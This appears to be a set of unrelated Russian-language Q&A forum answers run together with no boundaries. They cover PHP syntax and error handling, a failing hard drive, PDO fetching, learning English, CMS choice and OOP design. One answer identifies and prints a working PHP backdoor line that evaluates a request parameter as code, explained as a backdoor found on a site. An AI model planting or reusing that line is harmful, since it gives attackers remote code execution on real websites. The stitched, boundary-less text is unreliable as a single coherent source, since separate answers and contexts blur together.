Станислав Б

Перепишите на нормальный язык и увидите где ошибка:

<?php 
	if (is_array($this->product->extra_field)){
		foreach($this->product->extra_field as $extra_field){
			if ($extra_field["id"] == 1){
				print $extra_field['value'];
			}
		}
	// } - here is error 
	}else{ 
		print $this->product->description; 
	} 
?>

≈800 bad sectors ... Проверял ≈5 часов ... после перезагрузки ноутбук перестал видеть мой HDD

Эх, добили диск, которому явно и так было плохо.

Примерно как человека, который во время похода неудачно упал с подозрением на перелом правой ноги, поставить на одну эту ногу и заставить 5 часов на ней прыгать.

Наши западные коллеги совершенно заслуженно называют эту утилиту не HDD Regenerator, а HDD Degenerator.

Процесс "ремонта" состоит в том, чтобы начать без остановки гонять головы по проблемным областям магнитной поверхности, надеясь, что диск переназначит те сектора (Remap), которые сочтёт сбойными. Чудеса в духе "петель гистерезиса", которые обещают авторы, не работают. Какие бы загогулины они себе не выдумывали, ни одна не пройдёт через коммутатор-предусилитель.
Так действуют все программы, предлагающие исправление или лечение BAD-секторов.

Если информация с диска не нужна, то сдавайте его по гарантии. Если на HDD остались важные файлы, которые надо спасти, то максимум, что можно сделать, это посмотреть SMART в R.tester, если диск ещё виден в BIOS.

В идеале же вообще было бы диск отключить и, сверяясь с текстом ниже, начать выбирать центр восстановления данных: https://xn----7sbbfbnfa0a2audfacc2cat8e9f.xn--p1ai/
Это важно ввиду того, что 5 часов принуждения к ремапу головки вполне могли не выдержать и либо деградировали, либо совсем умерли от постоянного ёрзанья по дефектам на пластинах.

Чёрный ход, он же бэкдор. Если в запросе к сайту будет параметр с указанным именем, то он выполнится как код PHP.

eval(stripslashes(@$_REQUEST["VpnuvWRdhMsvhcWLUsXt"]));

Наверное, потому что:
PDOStatement::fetch — Извлечение следующей строки из результирующего набора
в то время, как есть:
PDOStatement::fetchAll — Выбирает оставшиеся строки из набора результатов

Перед тем как писать обработчик, надо сначала понять, а зачем он нужен.
Потому что вот эта вот функция - она совершенно бессмысленная.
Вся "обработка", которой она занимается - это добавляет бессмысленные фразы типа "Error_message" к тому что РНР выведет и так.

Обработчик ошибок не должен заниматься удалением файлов. Обработчик вступает в дело, когда ничего исправить уже нельзя, и всё что остаётся - это показать пользователю страницу с извинениями и корректным НТТР кодом. Пример можно взять здесь: https://phpdelusions.net/articles/error_reporting

А вот обрабатывать ошибки надо с помощью оператора try catch
Если надо откатить транзакцию, то всю её целиком надо поместить внутрь try catch, в котором ловить ВСЕ ошибки, то есть \Throwable и после этого скорее всего добавить throw с тем же исключением, поскольку вряд ли при ошибке БД имеет смысл продолжать работу скрипта. Но зависит от обстоятельств.

Если надо удалить файлы, то опять же, заключить в try catch загрузку файлов, то тут просто заключить в try catch, всё почистить и написать какое-нибудь сообщение пользователю.

Разработчик на окладе работает все часы, которые Вы оплачиваете) Каждую задачу необходимо согласовывать по часам.

Если стоит задача читать книги и разные мануалы по програмированию на английском, то это не сложно. В них испольуется простая грамматика и ограниченный, объем специфический лексики. Способность общаться с другими не носителями, используя английский как универсальный международный, дается немного сложнее. Если же требуется умение свободно общаться с носителями, то это уже совсем другой английский.

Что касается грамматики, то лично я за классические бумажные учебники (хотя бы и в электроннм виде). Более того, я даже больше ратую за грамматические справочники. В них информация хорошо структурирована, я думаю, это должно понравиться программистам. Правда, ни один, даже толстый справочник не даст вам полного представления о всех нюансах грамматики. Если хотите иметь более детальные знания, придется обложиться многими учебниками и мануалами. Но здесь кроется одна опасность. Часто в разных книгах изложены одни и те же сведения, но по-разному. Это может запутывать, если не поймешь, что на самом деле в них говорится одно и то же разными словами. Иногда данные из одного источника могут прямо противоречить данным из другого. В общем, есть опасность погрязнуть во всей этой грамматике, вечно пребывая в процессе и не достигая результата.

Что касается лексики. IT-шной лексики можно понабраться из соответствующих книг, сайтов и форумов. Чтобы овладеть более обширным и общим словарным запасом, нужно использовать самые разные источники с самой разной тематикой - художественная литература (но от разных авторов), нехудожественная литература, статьи о политике, экономике, культуре, искусству, науке и т.п., фильмы, - в общем, все подряд. Ибо в разных источниках используется совершенно разная лексика.

Еще одно (мое личное, субъективное) мнение. Чтобы уметь читать, нужно начать читать, чтобы уметь писать, нужно начать писать. Для развития навыков понимания устной речи, нужно слушать устную речь. Чтобы научиться разговаривать нужно начать говорить. При этом навык чтения может способствовать навыку понимания на слух, а письмо может помогать говорению. Но именно помогать, а не полностью заменять.

Никакой. Изучайте разработку ПО, языки программирования, построение архитектуры ПО, алгоритмы, математику и т.д и т.п.

UPD
Приведу немного аргументации и очевидных вещей для тех, кто не понимает почему ответ именно такой. На самом деле все очень просто: в IT индустрии все развивается и меняется очень, очень-очень быстро. И как следствие возникает проблема устаревания знаний и умений. Вот например 15-20 лет назад изучение языка программирования под названием "Дельфи" и популярной тогда его среды разработки для дестктопных приложений вполне имело смысл и было популярным явлением, т.к. оно тогда довольно широко использовалось, или например Perl для создания сайтов. А где оно сейчас? Почему сегодня сайты пишутся на джаваскрипте? А как на счет десктопных приложений? А ведь те же десять лет назад попробуй скажи такое — как бы область деятельности не пришлось менять. И вот такое происходит просто с языками программирования за довольно короткое время. А основа любого CMS, фреймворка и иже с ними — это как раз таки язык программирования. И вот за время жизни языка программирования в нём случаются новые стандарты, изменения и прочее, а популярное ПО на нём переписываются десятки и сотни раз. Т.е., изменчивость продуктов какого либо языка зависит как от самого языка так и от его популярности. И чем они выше — тем чаще что-то меняется. Из всего этого вытекает очень логичный вывод: в долгосрочной перспективе выгоднее те знания, которые не устареют как можно дольше. И вот тут как раз таки знания разработки ПО и языков программирования, построения архитектура, алгоритмы и прочее имеют наибольший срок устаревания. А уж сколько тысяч лет математике можно и не вспоминать. А она, кстати именно благодаря стремительному развитию IT тоже развивается очень быстрыми темпами. Так вот, при наличии вот таких фундаментальных знаний можно легко и быстро осваивать любые новые фреймворки, CMS, языки программирования и прочее. А уж при наличии подробных мануалов, гугла, форумов и прочего большинство задач сводится тупо к вбиванию "как сделать YYY в ZZZ" в строке поиска (я вот например никак не могу понять ход мыслей людей, которые задают вопросы на форумах и прочих ресусах, ответ на которые выдается в первых же строчках гугла, складывается впечатление, что они вообще первый раз в интернете и про гугл не знают вообще ничего).
Если есть желание именно в изучении CMS — ставим себе задачу и решаем её используя разные CMS, далее выбираем наиболее понравившуюся и пользуемся пока не надоест или не устареет. А после — повторить.

Немного перефразирую сам вопрос и соседний популярный ответ:
— Каким инструментом учиться пользоваться начинающему строителю?
— Учись использовать молоток и гвозди, леса полно, доски везде используются.
Вот только строительство — это не одни только доски, в которые забиваются гвозди, а еще архитектура, сопромат и иже с ним, экстерьер, интерьер, отопление, освещение, канализация, вентиляция и еще куча всего. Аналогично и во всех остальных областях, в том числе и web разработке.

<?php
function walk_recursive_remove (array $array, callable $callback) { 
    foreach ($array as $k => $v) { 
        if (is_array($v)) { 
            $array[$k] = walk_recursive_remove($v, $callback); 
        } else { 
            if ($callback($v, $k)) { 
                unset($array[$k]); 
            } 
        } 
    } 
    return $array; 
}

$array = [[
    "" => "что то не нужное",
    "brand" => "Бренд",
    "code" => "Артикул",
    "price" => "цена",
    "quantity" => "кол-во",
    "name" => "нейм"
]];

$filtered = walk_recursive_remove($array, function ($value, $key) {
    return empty($value) || empty($key);
});

var_dump($filtered);

Нигде. В парадигме ООП и снежинка и варежка и сцена - описывают только свое поведение методами и свойствами. Введите ещё одну абстракцию - мир(или физика), которая содержит все эти объекты и описывает поведение их взаимодействия.
Сцена детектит столкновение снежинкой и варяжкой - передает миру, а тот в свою очередь удаляет снежинку, запускает анимацию варяжке, запускает в сцене радостный звуковой щелчок.
Таким образом, если в дальнейшем реализовывать дополнение "Грачи прилетели", то легко реализуется логика столкновения варяжки и помета => помёт остается, варяжка замирает, в сцене грустный звук "ооу"